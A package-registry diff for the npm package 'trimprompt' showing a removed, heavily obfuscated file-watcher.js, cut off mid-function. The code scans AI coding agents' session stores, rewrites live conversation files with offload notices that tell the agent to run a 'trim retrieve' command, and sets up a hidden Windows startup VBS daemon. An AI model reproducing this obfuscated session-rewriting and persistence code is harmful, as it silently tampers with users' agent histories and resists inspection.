trimprompt 1.0.38 → 1.0.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/file-watcher.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xd76980=a0_0x5027;(function(_0x51b0e3,_0x58277e){const _0x4d863f=a0_0x5027,_0x55ea26=_0x51b0e3();while(!![]){try{const _0x481784=parseInt(_0x4d863f(0x166))/0x1+parseInt(_0x4d863f(0x120))/0x2*(-parseInt(_0x4d863f(0xd7))/0x3)+parseInt(_0x4d863f(0xeb))/0x4+parseInt(_0x4d863f(0x101))/0x5*(-parseInt(_0x4d863f(0x168))/0x6)+parseInt(_0x4d863f(0x160))/0x7+-parseInt(_0x4d863f(0x15b))/0x8+-parseInt(_0x4d863f(0x165))/0x9;if(_0x481784===_0x58277e)break;else _0x55ea26['push'](_0x55ea26['shift']());}catch(_0x51384d){_0x55ea26['push'](_0x55ea26['shift']());}}}(a0_0x3808,0x92636));function a0_0x3808(){const _0x11c206=['./tracker','node_modules','media__','join','conv_','writable','compact:','.db','call','\x20tokens)\x20was\x20moved\x20to\x20local\x20side-cache.\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','stringify','1545292WDiMtW','mkdirSync','build','.webp','.venv','path','name','string','Library','officialCompactSaved','.jpeg','set','.openclaw','mtimeMs','.agents','env','conversation_toggles','existsSync','Compaction\x20failed','hookSavedTokens','logExecution','history','170MnSqlm','Start\x20Menu','TrimPromptDaemon.vbs','out','activeSavedTokens','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20**Chunk\x20Reference\x20ID:**\x20`','Startup','endsWith','cortex','trim','Application\x20Support','loadConfig','.json1','storage','.opencode','startsWith','sideCacheSaved','role','byteLength','extname','projects','.vscdb','saveConfig','.cortex','platform','darwin','none','config.json','Summary:\x20Text\x20block\x20offloaded\x20(','codex','sessions','2Dinlrb','tokens','hasOwnProperty','isArray','image_','utf8','./proxy-conv','copilot','includes','compressed_tokens','.png','.gif','length','writeFileSync','defineProperty','opencode','lineCount','workspaceStorage','type','ceil','split','readFileSync','parse','Cursor','.json','compaction\x20failed','chunk_id','AppData','antigravity','startWatcherDaemon','compactSessionCopy','fullPath','prompt_turn','installWindowsStartupService','\x0a>\x20[!IMPORTANT]\x0a>\x20**[TrimPrompt\x20Cache\x20Engine\x20—\x20Context\x20Offloaded]**\x0a>\x20The\x20raw\x20content\x20of\x20this\x20step\x20(','isFile','Summary:\x20Tool\x20result\x20offloaded\x20(','__setModuleDefault','custom_storage_paths','isDirectory','repeat','.jpg','TrimPrompt\x20Cache\x20Engine','saveChunk','gemini','matchAll','savedTokens','.config','renameSync','saveSessionStateItem','round','context','getOwnPropertyDescriptor','processSessionFile','compactLiveSession','aider','github-copilot-cli','.claude','saved','5091584gpiREs','default','Gemini','\x22\x20&\x20\x22\x22\x22\x20ui\x20--headless\x22,\x200,\x20False\x0a','.git','6103657KzYwlr','__esModule','messages','.trimprompt','modified','6100074LAjxSf','889806MtTyyp','conv:','354TseZua','Unsupported\x20extension','cache','Roaming','get','prototype','size','live-conv','Programs','raw_tokens','dirname','homedir','statSync','.wal','Set\x20WshShell\x20=\x20CreateObject(\x22WScript.Shell\x22)\x0aWshShell.Run\x20\x22node\x20\x22\x22\x22\x20&\x20\x22','text','configurable','\x20tokens).','toLowerCase','User','win32','cwd','message','push','claude','Local','.gemini','openclaw','tracker','getLatestSessionFile','loadSessionsState','basename','__pycache__','.aider.chat.history.md','content','.lock','Codex','has','create','.jsonl','Microsoft','object','696702qsPwGe','__createBinding','./cache-manager','cursor','.shm','max','venv','autoCompactSaved','`\x0a>\x20Retrieve\x20with:\x20`trim\x20retrieve\x20'];a0_0x3808=function(){return _0x11c206;};return a0_0x3808();}var __createBinding=this&&this[a0_0xd76980(0xd8)]||(Object[a0_0xd76980(0xd3)]?function(_0x10c6e6,_0x3c4f79,_0x163d2f,_0x45abd4){const _0x104447=a0_0xd76980;if(_0x45abd4===undefined)_0x45abd4=_0x163d2f;var _0x82b06b=Object[_0x104447(0x154)](_0x3c4f79,_0x163d2f);(!_0x82b06b||('get'in _0x82b06b?!_0x3c4f79[_0x104447(0x161)]:_0x82b06b[_0x104447(0xe5)]||_0x82b06b[_0x104447(0x178)]))&&(_0x82b06b={'enumerable':!![],'get':function(){return _0x3c4f79[_0x163d2f];}}),Object[_0x104447(0x12e)](_0x10c6e6,_0x45abd4,_0x82b06b);}:function(_0xd48ab5,_0x4f57c6,_0x132769,_0x14b762){if(_0x14b762===undefined)_0x14b762=_0x132769;_0xd48ab5[_0x14b762]=_0x4f57c6[_0x132769];}),__setModuleDefault=this&&this[a0_0xd76980(0x145)]||(Object['create']?function(_0x397332,_0x40b78a){const _0x12ff3b=a0_0xd76980;Object['defineProperty'](_0x397332,_0x12ff3b(0x15c),{'enumerable':!![],'value':_0x40b78a});}:function(_0x5f06a1,_0x323adb){const _0x49ce23=a0_0xd76980;_0x5f06a1[_0x49ce23(0x15c)]=_0x323adb;}),__importStar=this&&this['__importStar']||(function(){var _0x32db64=function(_0xb8d966){return _0x32db64=Object['getOwnPropertyNames']||function(_0x340ad9){const _0x1800c2=a0_0x5027;var _0x5dd60f=[];for(var _0x439fe9 in _0x340ad9)if(Object[_0x1800c2(0x16d)][_0x1800c2(0x122)][_0x1800c2(0xe8)](_0x340ad9,_0x439fe9))_0x5dd60f[_0x5dd60f[_0x1800c2(0x12c)]]=_0x439fe9;return _0x5dd60f;},_0x32db64(_0xb8d966);};return function(_0x54ec50){const _0x157923=a0_0x5027;if(_0x54ec50&&_0x54ec50[_0x157923(0x161)])return _0x54ec50;var _0x28a8e5={};if(_0x54ec50!=null){for(var _0x38c636=_0x32db64(_0x54ec50),_0x1f10ad=0x0;_0x1f10ad<_0x38c636[_0x157923(0x12c)];_0x1f10ad++)if(_0x38c636[_0x1f10ad]!=='default')__createBinding(_0x28a8e5,_0x54ec50,_0x38c636[_0x1f10ad]);}return __setModuleDefault(_0x28a8e5,_0x54ec50),_0x28a8e5;};}());Object[a0_0xd76980(0x12e)](exports,a0_0xd76980(0x161),{'value':!![]}),exports[a0_0xd76980(0x10c)]=loadConfig,exports[a0_0xd76980(0x117)]=saveConfig,exports['getAgentStoragePaths']=getAgentStoragePaths,exports[a0_0xd76980(0xca)]=getLatestSessionFile,exports[a0_0xd76980(0xcb)]=loadSessionsState,exports[a0_0xd76980(0x151)]=saveSessionStateItem,exports[a0_0xd76980(0x155)]=processSessionFile,exports[a0_0xd76980(0x13e)]=compactSessionCopy,exports[a0_0xd76980(0x156)]=compactLiveSession,exports[a0_0xd76980(0x141)]=installWindowsStartupService,exports[a0_0xd76980(0x13d)]=startWatcherDaemon;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xd76980(0xf0))),os=__importStar(require('os')),cache_manager_1=require(a0_0xd76980(0xd9)),tracker_1=require(a0_0xd76980(0xe0)),baseDir=path[a0_0xd76980(0xe3)](os[a0_0xd76980(0x173)](),a0_0xd76980(0x163)),configPath=path[a0_0xd76980(0xe3)](baseDir,a0_0xd76980(0x11c)),DEFAULT_CONFIG={'autostart_enabled':!![],'conversation_toggles':{'conv_claude':!![],'conv_codex':!![],'conv_cursor':!![],'conv_aider':!![],'conv_copilot':!![],'conv_openclaw':!![],'conv_opencode':!![],'conv_cortex':!![]},'custom_storage_paths':{'claude':null,'codex':null,'cursor':null,'aider':null,'copilot':null,'openclaw':null,'opencode':null,'cortex':null}};function loadConfig(){const _0x2282e7=a0_0xd76980;try{if(!fs[_0x2282e7(0xfc)](baseDir))fs[_0x2282e7(0xec)](baseDir,{'recursive':!![]});if(fs[_0x2282e7(0xfc)](configPath)){const _0x1f0641=JSON[_0x2282e7(0x136)](fs[_0x2282e7(0x135)](configPath,'utf8'));return{...DEFAULT_CONFIG,..._0x1f0641,'conversation_toggles':{...DEFAULT_CONFIG[_0x2282e7(0xfb)],..._0x1f0641[_0x2282e7(0xfb)]||{}},'custom_storage_paths':{...DEFAULT_CONFIG['custom_storage_paths'],..._0x1f0641[_0x2282e7(0x146)]||{}}};}}catch{}return DEFAULT_CONFIG;}function saveConfig(_0xb2d991){const _0x32c066=a0_0xd76980,_0x2ff168=loadConfig(),_0xab1ec3={..._0x2ff168,..._0xb2d991,'conversation_toggles':{..._0x2ff168[_0x32c066(0xfb)],..._0xb2d991[_0x32c066(0xfb)]||{}},'custom_storage_paths':{..._0x2ff168['custom_storage_paths'],..._0xb2d991[_0x32c066(0x146)]||{}}};try{if(!fs[_0x32c066(0xfc)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});fs[_0x32c066(0x12d)](configPath,JSON[_0x32c066(0xea)](_0xab1ec3,null,0x2),'utf8');}catch{}return _0xab1ec3;}function getAgentStoragePaths(_0x38a623){const _0x512788=a0_0xd76980,_0x2d45d3=loadConfig(),_0x572128=_0x2d45d3[_0x512788(0x146)][_0x38a623];if(_0x572128&&fs['existsSync'](_0x572128))return[_0x572128];const _0xa64c50=os[_0x512788(0x173)](),_0x3d158b=process[_0x512788(0x119)]===_0x512788(0x17c),_0x1af2ae=process[_0x512788(0x119)]===_0x512788(0x11a);switch(_0x38a623){case _0x512788(0x180):return[path['join'](_0xa64c50,_0x512788(0x159),_0x512788(0x115)),path[_0x512788(0xe3)](_0xa64c50,'.claude',_0x512788(0x100))];case _0x512788(0x11e):return[path['join'](_0xa64c50,'.codex',_0x512788(0x11f)),path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x13b),_0x512788(0x16b),_0x512788(0xd1))];case'gemini':case'antigravity':return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x182),_0x512788(0x13c)),path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x182)),path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x13b),_0x512788(0x16b),_0x512788(0x15d)),path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x14f),_0x512788(0x14c))];case _0x512788(0xda):if(_0x3d158b)return[path['join'](_0xa64c50,'AppData',_0x512788(0x16b),_0x512788(0x137),_0x512788(0x17b),_0x512788(0x131))];if(_0x1af2ae)return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0xf3),_0x512788(0x10b),'Cursor','User','workspaceStorage')];return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x14f),_0x512788(0x137),_0x512788(0x17b),_0x512788(0x131))];case'aider':return[process[_0x512788(0x17d)](),path[_0x512788(0xe3)](_0xa64c50,_0x512788(0xce))];case _0x512788(0x127):if(_0x3d158b)return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x13b),_0x512788(0x181),_0x512788(0x158))];return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x14f),_0x512788(0x158))];case _0x512788(0x183):return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0xf7),_0x512788(0x10e)),path[_0x512788(0xe3)](process[_0x512788(0x17d)](),'.openclaw',_0x512788(0x153))];case _0x512788(0x12f):return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x10f),_0x512788(0x11f))];case _0x512788(0x109):return[path[_0x512788(0xe3)](_0xa64c50,_0x512788(0x118),_0x512788(0x16a))];default:return[];}}function getLatestSessionFile(_0x2417c1){const _0x5bc896=a0_0xd76980,_0x163462=getAgentStoragePaths(_0x2417c1);let _0x30fbb5=null,_0x588e9b=0x0,_0x2498e0=null,_0x21f5c3=null;for(const _0x53eac9 of _0x163462){if(fs[_0x5bc896(0xfc)](_0x53eac9)){if(!_0x21f5c3)_0x21f5c3=_0x53eac9;const _0xb7aeed=(_0x13dc28,_0x184d99=0x0)=>{const _0x5e8122=_0x5bc896;if(_0x184d99>0x6)return;try{const _0x56e674=fs['readdirSync'](_0x13dc28,{'withFileTypes':!![]});for(const _0xfe5109 of _0x56e674){const _0x420e7c=path[_0x5e8122(0xe3)](_0x13dc28,_0xfe5109['name']);if(_0xfe5109[_0x5e8122(0x147)]()){const _0x49bdb4=_0xfe5109['name'][_0x5e8122(0x17a)]();if(_0x49bdb4===_0x5e8122(0xe1)||_0x49bdb4===_0x5e8122(0x15f)||_0x49bdb4===_0x5e8122(0xef)||_0x49bdb4===_0x5e8122(0xfa)||_0x49bdb4===_0x5e8122(0xdd)||_0x49bdb4===_0x5e8122(0xcd)||_0x49bdb4==='.next'||_0x49bdb4==='dist'||_0x49bdb4===_0x5e8122(0xed)||_0x49bdb4===_0x5e8122(0x104)||_0x49bdb4===_0x5e8122(0xf9))continue;_0xb7aeed(_0x420e7c,_0x184d99+0x1);}else{if(_0xfe5109[_0x5e8122(0x143)]()&&!_0xfe5109[_0x5e8122(0xf1)][_0x5e8122(0x110)]('.')){const _0x59149c=_0xfe5109[_0x5e8122(0xf1)][_0x5e8122(0x17a)]();if(_0x59149c['includes']('.compact')||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0xe7))||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0x116))||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0x12a))||_0x59149c['endsWith'](_0x5e8122(0x149))||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0xf5))||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0x12b))||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0xee))||_0x59149c[_0x5e8122(0x108)]('.pb')||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0x175))||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0xdb))||_0x59149c[_0x5e8122(0x108)]('.tmp')||_0x59149c[_0x5e8122(0x108)](_0x5e8122(0xd0))||_0x59149c[_0x5e8122(0x108)]('.dat')||_0x59149c['startsWith'](_0x5e8122(0xe2))||_0x59149c[_0x5e8122(0x110)](_0x5e8122(0x124)))continue;const _0x5ddd24=fs[_0x5e8122(0x174)](_0x420e7c);_0x5ddd24[_0x5e8122(0xf8)]>_0x588e9b&&(_0x588e9b=_0x5ddd24[_0x5e8122(0xf8)],_0x30fbb5=_0xfe5109[_0x5e8122(0xf1)],_0x2498e0=_0x420e7c,_0x21f5c3=_0x53eac9);}}}}catch{}};_0xb7aeed(_0x53eac9);}}return{'fileName':_0x30fbb5,'lastModified':_0x588e9b>0x0?new Date(_0x588e9b)['toISOString']():null,'fullPath':_0x2498e0,'dirPath':_0x21f5c3};}const debounceTimers=new Map(),lastLoggedTimes=new Map(),OFFLOAD_THRESHOLD_CHARS=0x7d0;function compressMessageContent(_0x1c8541,_0x3dd90d,_0x33ccf7){const _0x2d6222=a0_0xd76980;let _0x567f3b=![],_0x5e98a3=0x0;if(!_0x1c8541)return{'modified':_0x567f3b,'savedTokens':_0x5e98a3};const _0x4f28be=_0x50fb8f=>_0x50fb8f['replace'](/\r\n/g,'\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');if(typeof _0x1c8541[_0x2d6222(0xcf)]===_0x2d6222(0xf2)){let _0x1f3d36=_0x1c8541['content'],_0x43fa2c=_0x4f28be(_0x1f3d36);_0x43fa2c[_0x2d6222(0x12c)]<_0x1f3d36[_0x2d6222(0x12c)]&&(_0x1c8541[_0x2d6222(0xcf)]=_0x43fa2c,_0x567f3b=!![],_0x5e98a3+=Math[_0x2d6222(0x133)]((_0x1f3d36[_0x2d6222(0x12c)]-_0x43fa2c[_0x2d6222(0x12c)])/0x4));if(_0x1c8541[_0x2d6222(0xcf)][_0x2d6222(0x12c)]>OFFLOAD_THRESHOLD_CHARS&&!_0x1c8541[_0x2d6222(0xcf)][_0x2d6222(0x128)](_0x2d6222(0x14a))){const _0x974231='Summary:\x20Content\x20offloaded\x20('+Math[_0x2d6222(0x133)](_0x1c8541['content']['length']/0x4)+_0x2d6222(0x179),_0x28bccc=(0x0,cache_manager_1['saveChunk'])(_0x3dd90d,_0x33ccf7,_0x1c8541['content'],_0x974231);_0x1c8541['content']=_0x2d6222(0x142)+_0x28bccc[_0x2d6222(0x171)]+_0x2d6222(0xe9)+_0x28bccc[_0x2d6222(0x13a)]+'`\x0a>\x20If\x20required,\x20execute:\x20`trim\x20retrieve\x20'+_0x28bccc[_0x2d6222(0x13a)]+'`\x0a',_0x567f3b=!![],_0x5e98a3+=Math['max'](0x0,_0x28bccc['raw_tokens']-_0x28bccc[_0x2d6222(0x129)]);}}else{if(Array[_0x2d6222(0x123)](_0x1c8541[_0x2d6222(0xcf)]))for(const _0x4458d0 of _0x1c8541['content']){if(_0x4458d0&&typeof _0x4458d0===_0x2d6222(0xd6)){if(typeof _0x4458d0[_0x2d6222(0x177)]===_0x2d6222(0xf2)){let _0x11de29=_0x4458d0[_0x2d6222(0x177)],_0x38eefa=_0x4f28be(_0x11de29);_0x38eefa[_0x2d6222(0x12c)]<_0x11de29['length']&&(_0x4458d0['text']=_0x38eefa,_0x567f3b=!![],_0x5e98a3+=Math[_0x2d6222(0x133)]((_0x11de29[_0x2d6222(0x12c)]-_0x38eefa[_0x2d6222(0x12c)])/0x4));if(_0x4458d0['text'][_0x2d6222(0x12c)]>OFFLOAD_THRESHOLD_CHARS&&!_0x4458d0[_0x2d6222(0x177)]['includes'](_0x2d6222(0x14a))){const _0x463414=_0x2d6222(0x11d)+Math[_0x2d6222(0x133)](_0x4458d0[_0x2d6222(0x177)][_0x2d6222(0x12c)]/0x4)+_0x2d6222(0x179),_0x4aa35f=(0x0,cache_manager_1[_0x2d6222(0x14b)])(_0x3dd90d,_0x33ccf7,_0x4458d0['text'],_0x463414);_0x4458d0[_0x2d6222(0x177)]=_0x2d6222(0x106)+_0x4aa35f[_0x2d6222(0x13a)]+_0x2d6222(0xdf)+_0x4aa35f['chunk_id']+'`\x0a',_0x567f3b=!![],_0x5e98a3+=Math[_0x2d6222(0xdc)](0x0,_0x4aa35f[_0x2d6222(0x171)]-_0x4aa35f['compressed_tokens']);}}else{if(typeof _0x4458d0[_0x2d6222(0xcf)]==='string'){let _0x3b2ecd=_0x4458d0[_0x2d6222(0xcf)],_0x3c8663=_0x4f28be(_0x3b2ecd);_0x3c8663['length']<_0x3b2ecd[_0x2d6222(0x12c)]&&(_0x4458d0[_0x2d6222(0xcf)]=_0x3c8663,_0x567f3b=!![],_0x5e98a3+=Math[_0x2d6222(0x133)]((_0x3b2ecd[_0x2d6222(0x12c)]-_0x3c8663[_0x2d6222(0x12c)])/0x4));if(_0x4458d0[_0x2d6222(0xcf)][_0x2d6222(0x12c)]>OFFLOAD_THRESHOLD_CHARS&&!_0x4458d0['content'][_0x2d6222(0x128)]('TrimPrompt\x20Cache\x20Engine')){const _0x3ae502=_0x2d6222(0x144)+Math[_0x2d6222(0x133)](_0x4458d0[_0x2d6222(0xcf)][_0x2d6222(0x12c)]/0x4)+_0x2d6222(0x179),_0x197856=(0x0,cache_manager_1[_0x2d6222(0x14b)])(_0x3dd90d,_0x33ccf7,_0x4458d0[_0x2d6222(0xcf)],_0x3ae502);_0x4458d0[_0x2d6222(0xcf)]=_0x2d6222(0x106)+_0x197856[_0x2d6222(0x13a)]+_0x2d6222(0xdf)+_0x197856[_0x2d6222(0x13a)]+'`\x0a',_0x567f3b=!![],_0x5e98a3+=Math[_0x2d6222(0xdc)](0x0,_0x197856['raw_tokens']-_0x197856['compressed_tokens']);}}}}}}return{'modified':_0x567f3b,'savedTokens':_0x5e98a3};}const sessionsStatePath=path[a0_0xd76980(0xe3)](baseDir,'sessions_state.json');let sessionsStateMemoryCache=null;function loadSessionsState(){const _0x336f0b=a0_0xd76980;try{if(fs[_0x336f0b(0xfc)](sessionsStatePath)){const _0x25f183=JSON[_0x336f0b(0x136)](fs['readFileSync'](sessionsStatePath,_0x336f0b(0x125)));if(_0x25f183&&typeof _0x25f183===_0x336f0b(0xd6))return sessionsStateMemoryCache=_0x25f183,_0x25f183;}}catch{}return sessionsStateMemoryCache||{};}function saveSessionStateItem(_0x36c193,_0x2a5891,_0x3e1952,_0x3fc8e8=0x0,_0x274f70=0x0,_0x10dcb2=0x0){const _0x4f1c57=a0_0xd76980;try{const _0x21116e=loadSessionsState(),_0x1b1776=_0x21116e[_0x36c193]||{},_0x2c6549=_0x274f70||_0x1b1776[_0x4f1c57(0xde)]||0x0,_0x129993=_0x10dcb2||_0x1b1776[_0x4f1c57(0xfe)]||0x0,_0xf43c7=_0x3e1952!==undefined?_0x3e1952:_0x1b1776[_0x4f1c57(0xf4)]||0x0;_0x21116e[_0x36c193]={'lineCount':_0x2a5891||_0x1b1776[_0x4f1c57(0x130)]||0x1,'activeSavedTokens':_0xf43c7+_0x2c6549+_0x129993,'sideCacheSaved':_0x3fc8e8||_0x1b1776['sideCacheSaved']||0x0,'officialCompactSaved':_0xf43c7,'autoCompactSaved':_0x2c6549,'hookSavedTokens':_0x129993},sessionsStateMemoryCache=_0x21116e;if(!fs[_0x4f1c57(0xfc)](baseDir))fs[_0x4f1c57(0xec)](baseDir,{'recursive':!![]});const _0xcfaf3=sessionsStatePath+'.tmp';fs[_0x4f1c57(0x12d)](_0xcfaf3,JSON[_0x4f1c57(0xea)](_0x21116e,null,0x2),_0x4f1c57(0x125)),fs[_0x4f1c57(0x150)](_0xcfaf3,sessionsStatePath);}catch{}}function processSessionFile(_0x597e46,_0x2b1d7d){const _0x509e24=a0_0xd76980;try{if(!fs[_0x509e24(0xfc)](_0x597e46))return;const _0x18615b=fs[_0x509e24(0x174)](_0x597e46);if(_0x18615b['isDirectory']()||_0x18615b[_0x509e24(0x16e)]===0x0)return;const _0x392564=loadConfig(),_0x53696b=_0x509e24(0xe4)+_0x2b1d7d;if(_0x392564[_0x509e24(0xfb)][_0x53696b]===![])return;const _0xfa9f14=fs[_0x509e24(0x135)](_0x597e46,_0x509e24(0x125)),_0x35716a=path['extname'](_0x597e46)['toLowerCase']();let _0x478d80=0x1;if(_0x35716a==='.jsonl'||_0x35716a==='.json1')_0x478d80=_0xfa9f14[_0x509e24(0x134)]('\x0a')['filter'](Boolean)['length'];else{if(_0x35716a===_0x509e24(0x138))try{const _0x742ecf=JSON[_0x509e24(0x136)](_0xfa9f14),_0x35804d=Array[_0x509e24(0x123)](_0x742ecf[_0x509e24(0x162)])?_0x742ecf['messages']:Array[_0x509e24(0x123)](_0x742ecf)?_0x742ecf:null;if(_0x35804d)_0x478d80=_0x35804d[_0x509e24(0x12c)];}catch{}}let _0x12e5e2=0x0;if((_0x35716a===_0x509e24(0xd4)||_0x35716a==='.json1')&&_0xfa9f14[_0x509e24(0x128)](_0x509e24(0x15a))&&_0xfa9f14['includes'](_0x509e24(0x121))){const _0x458362=/(?:Compacted conversation\s*·\s*)?saved\s*([\d\.]+)k?\s*tokens/gi;for(const _0x3d01c6 of _0xfa9f14['split']('\x0a')){if(!_0x3d01c6[_0x509e24(0x128)](_0x509e24(0x15a))||!_0x3d01c6['includes'](_0x509e24(0x121)))continue;try{const _0x4d756e=JSON[_0x509e24(0x136)](_0x3d01c6);if(_0x4d756e[_0x509e24(0x132)]!=='system')continue;const _0x5f3049=typeof _0x4d756e[_0x509e24(0xcf)]===_0x509e24(0xf2)?_0x4d756e[_0x509e24(0xcf)]:_0x4d756e[_0x509e24(0x17e)]&&typeof _0x4d756e[_0x509e24(0x17e)][_0x509e24(0xcf)]===_0x509e24(0xf2)?_0x4d756e[_0x509e24(0x17e)][_0x509e24(0xcf)]:'';if(!_0x5f3049)continue;for(const _0x7ab185 of _0x5f3049[_0x509e24(0x14d)](_0x458362)){let _0x4be644=parseFloat(_0x7ab185[0x1]);if(_0x7ab185[0x0]['toLowerCase']()['includes']('k'))_0x4be644=_0x4be644*0x3e8;_0x12e5e2+=Math[_0x509e24(0x152)](_0x4be644);}}catch{}}}const _0x2d2ae4=loadSessionsState(),_0x25565b=_0x2d2ae4[_0x597e46],_0x45eb89=_0x25565b?_0x25565b['lineCount']:0x0,_0x5e992f=_0x25565b?_0x25565b[_0x509e24(0x105)]||0x0:0x0;if(_0x45eb89>0x0&&_0x478d80>_0x45eb89&&_0x5e992f>0x0){const _0x3f5b1c=_0x509e24(0x167)+_0x2b1d7d;tracker_1[_0x509e24(0x184)]['logExecution'](_0x3f5b1c,'A'[_0x509e24(0x148)](_0x5e992f*0x4),'',0x0,undefined,[_0x509e24(0xe4)+_0x2b1d7d,_0x509e24(0x16f),_0x2b1d7d,_0x509e24(0x140)]);}const _0x5cd9d5=_0x25565b&&_0x25565b[_0x509e24(0xf4)]!==undefined?_0x25565b[_0x509e24(0xf4)]:0x0,_0x5cda2a=Math[_0x509e24(0xdc)](_0x5cd9d5,_0x12e5e2);saveSessionStateItem(_0x597e46,_0x478d80,_0x5cda2a,0x0,0x0,0x0);}catch{}}function compactSessionCopy(_0x5d6361,_0x10b668){const _0x3efa0f=a0_0xd76980;try{if(!fs[_0x3efa0f(0xfc)](_0x5d6361))return{'ok':![],'reason':'Session\x20file\x20not\x20found'};const _0x33236d=path[_0x3efa0f(0x114)](_0x5d6361)['toLowerCase']();if(_0x33236d!==_0x3efa0f(0x138)&&_0x33236d!=='.jsonl'&&_0x33236d!==_0x3efa0f(0x10d))return{'ok':![],'reason':'Unsupported\x20format\x20\x27'+(_0x33236d||_0x3efa0f(0x11b))+'\x27\x20—\x20only\x20JSON/JSONL\x20sessions\x20can\x20be\x20compacted\x20(binary\x20.pb/.db\x20stores\x20are\x20not\x20supported)'};const _0x485cba=fs[_0x3efa0f(0x135)](_0x5d6361,_0x3efa0f(0x125)),_0x290db0=Buffer[_0x3efa0f(0x113)](_0x485cba,'utf8'),_0x57cf11=path[_0x3efa0f(0xcc)](_0x5d6361,_0x33236d);let _0x5884fc=_0x485cba,_0xf5a20a=![];if(_0x33236d===_0x3efa0f(0x138)){const _0x453070=JSON[_0x3efa0f(0x136)](_0x485cba),_0x27d68a=Array[_0x3efa0f(0x123)](_0x453070[_0x3efa0f(0x162)])?_0x453070[_0x3efa0f(0x162)]:Array['isArray'](_0x453070)?_0x453070:null;if(_0x27d68a){for(const _0x28d796 of _0x27d68a){const _0x2134d5=compressMessageContent(_0x28d796,_0x57cf11,_0x10b668);if(_0x2134d5[_0x3efa0f(0x164)])_0xf5a20a=!![];}if(_0xf5a20a)_0x5884fc=JSON[_0x3efa0f(0xea)](_0x453070,null,0x2);}}else{const _0x5bd07a=_0x485cba[_0x3efa0f(0x134)]('\x0a'),_0x386563=[];for(let _0x5a8b50 of _0x5bd07a){if(!_0x5a8b50[_0x3efa0f(0x10a)]()){_0x386563[_0x3efa0f(0x17f)](_0x5a8b50);continue;}try{const _0x26caeb=JSON[_0x3efa0f(0x136)](_0x5a8b50),_0xb5f2b8=_0x26caeb[_0x3efa0f(0x17e)]||_0x26caeb;if(_0xb5f2b8){const _0x4c7c65=compressMessageContent(_0xb5f2b8,_0x57cf11,_0x10b668);_0x4c7c65[_0x3efa0f(0x164)]&&(_0xf5a20a=!![],_0x5a8b50=JSON[_0x3efa0f(0xea)](_0x26caeb));}}catch{}_0x386563[_0x3efa0f(0x17f)](_0x5a8b50);}if(_0xf5a20a)_0x5884fc=_0x386563['join']('\x0a');}const _0x1330c8=Buffer[_0x3efa0f(0x113)](_0x5884fc,_0x3efa0f(0x125)),_0x376448=path[_0x3efa0f(0xe3)](path[_0x3efa0f(0x172)](_0x5d6361),_0x57cf11+'.compact'+_0x33236d);fs['writeFileSync'](_0x376448,_0x5884fc,'utf8');const _0x27d928=Math[_0x3efa0f(0x133)](_0x290db0/0x4),_0x3a7cea=Math[_0x3efa0f(0x133)](_0x1330c8/0x4),_0x3cf2ed=Math[_0x3efa0f(0xdc)](0x0,_0x27d928-_0x3a7cea),_0x31c3f7=_0x290db0>0x0?Math['round']((0x1-_0x1330c8/_0x290db0)*0x3e8)/0xa:0x0;return _0x3cf2ed>0x0&&tracker_1['tracker']['logExecution'](_0x3efa0f(0xe6)+_0x10b668,_0x485cba,_0x5884fc,_0x3cf2ed,undefined,[_0x3efa0f(0xe4)+_0x10b668,_0x3efa0f(0x16f),_0x10b668,'compact_copy']),{'ok':!![],'compactPath':_0x376448,'rawBytes':_0x290db0,'compressedBytes':_0x1330c8,'rawTokens':_0x27d928,'compressedTokens':_0x3a7cea,'savedTokens':_0x3cf2ed,'reductionPct':_0x31c3f7};}catch(_0x56eefc){return{'ok':![],'reason':_0x56eefc?.[_0x3efa0f(0x17e)]||_0x3efa0f(0x139)};}}function compactLiveSession(_0x526b43,_0x521ae6){const _0x2674fb=a0_0xd76980;try{if(!fs[_0x2674fb(0xfc)](_0x526b43))return{'ok':![],'savedTokens':0x0,'reason':'File\x20not\x20found'};const _0x31f63b=path[_0x2674fb(0x114)](_0x526b43)[_0x2674fb(0x17a)]();if(_0x31f63b!=='.json'&&_0x31f63b!==_0x2674fb(0xd4)&&_0x31f63b!=='.json1')return{'ok':![],'savedTokens':0x0,'reason':_0x2674fb(0x169)};const _0x25e496=fs[_0x2674fb(0x135)](_0x526b43,'utf8'),_0x507ffe=Buffer[_0x2674fb(0x113)](_0x25e496,'utf8'),_0x3937da=Math['ceil'](_0x507ffe/0x4),_0x148574=path[_0x2674fb(0xcc)](_0x526b43,_0x31f63b);let _0x1ba49f=_0x25e496,_0x4fa5b6=![];if(_0x31f63b===_0x2674fb(0x138)){const _0xd569fc=JSON['parse'](_0x25e496),_0x179935=Array[_0x2674fb(0x123)](_0xd569fc['messages'])?_0xd569fc[_0x2674fb(0x162)]:Array['isArray'](_0xd569fc)?_0xd569fc:null;if(_0x179935){for(const _0x4a273c of _0x179935){const _0x415596=compressMessageContent(_0x4a273c,_0x148574,_0x521ae6);if(_0x415596[_0x2674fb(0x164)])_0x4fa5b6=!![];}const 